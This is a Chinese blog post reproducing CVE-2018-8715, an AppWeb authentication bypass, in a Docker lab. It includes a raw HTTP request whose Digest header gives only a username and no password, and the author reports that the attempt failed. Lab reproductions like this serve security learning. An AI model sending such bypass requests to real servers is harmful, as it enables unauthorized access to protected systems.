首页 > 其他分享 >AppWeb认证绕过漏洞(CVE-2018-8715)[未成功]

AppWeb认证绕过漏洞(CVE-2018-8715)[未成功]

时间:2022-10-08 20:12:15浏览次数:57  
标签:HTTP AppWeb 认证 漏洞 session 2018 CVE digest

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

- basic 传统HTTP基础认证
- digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
- form 表单认证

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为`null`(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

参考链接:

- https://ssd-disclosure.com/index.php/archives/3676

## 漏洞环境

执行如下命令启动一个带有digest认证的Appweb 7.0.1服务器:

```
docker-compose up -d
```

访问`http://your-ip:8080`,可见需要输入账号密码。

## 漏洞复现

利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为`admin`。

构造头`Authorization: Digest username=admin`,并发送如下数据包:

```
GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin


```

可见,因为我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session:(该处总是返回401未成功)

 

 

设置这个session到浏览器,即可正常访问需要认证的页面:

未访问到

 

标签:HTTP,AppWeb,认证,漏洞,session,2018,CVE,digest
From: https://www.cnblogs.com/lyh1/p/16770060.html

相关文章

  • ActiveMQ任意文件写入漏洞(CVE-2016-3088)
    搭建及运行漏洞环境:```docker-composebuilddocker-composeup-d```环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。访问`http://you......
  • 【STM32F407的DSP教程】第2章 Matlab R2018a的安装
    ​​​​第2章  MatlabR2018a的安装本期教程主要是讲解MatlabR2018a的安装过程,作为学习DSP的必备软件,掌握简单的Matlab操作是必须的。2.1初学者重要提示2.2MatlabR2......
  • [JOI2018] Dango Maker
    DescriptionlinkSolution如果两个团子重合肯定是下面三种情况:RRGWRGGRGWRGWWW我们会发现两......
  • 2018年最有需求的编程语言
    时间所限,文章简单翻译,文字未经仔细雕琢。实际我跟朋友们也在讨论这个事情。我认为,编程语言会持续分化,不同的语言依据自己的特性各自占领一块阵地,然后再由社区推动,尝试应用到......
  • 网鼎杯2018----fakebook
    关于前期的信息收集: 源码泄漏user.php.bak和flag.php(如果有机会尝试读取这个文件)这两个有用的。查看源码泄漏中对blog的过滤部分,然后通过join页面随便输入一个符合......
  • 腾讯AI Lab的CVPR 2018文章解读
    今天和大家分享马上要召开的CVPR2018会议,这算殿堂级的会议,今天主要主角是我和腾讯,......
  • CVPR2018 ——(GAN)延时摄影视频的生成
    CVPR2018即将开始,陆陆续续很多优秀的作品被大家知晓。今天我们来说说又去的科研成果,也希望阅读您对此感兴趣~在户外拍摄一张照片之后,我们可以预测照片里面接下来发生的事情......
  • CVPR 2018论文解读 | 学习在黑暗中看世界(Learning to See in the Dark)
    好些天不和大家见面,还是怪想各位关注我们支持我们的你!由于“计算机视觉战队”创始人最近接近毕业阶段,所以很多事情要去处理,没有及时给大家带来好的分享,在此向大家表示由衷的......
  • P4384 [八省联考 2018] 制胡窜
    P4384[八省联考2018]制胡窜考虑先将问题转化为切断两个位置使得没有任何一段中包含\(t\)。则最终的答案为\(\dbinom{n}{2}-\text{ans}\)。计\(t\)按左端点排序后......
  • Luogu P5089 [eJOI2018] 元素周期表 题解
    (从洛谷博客搬过来的)这道题嘛..主要还是找性质推规律。拿到题,第一眼:噢噢爆搜啊。第二眼:噢噢贪心啊。第三眼:很好贪心假了。然后苦思冥想半个小时去看题解。看到兔队的......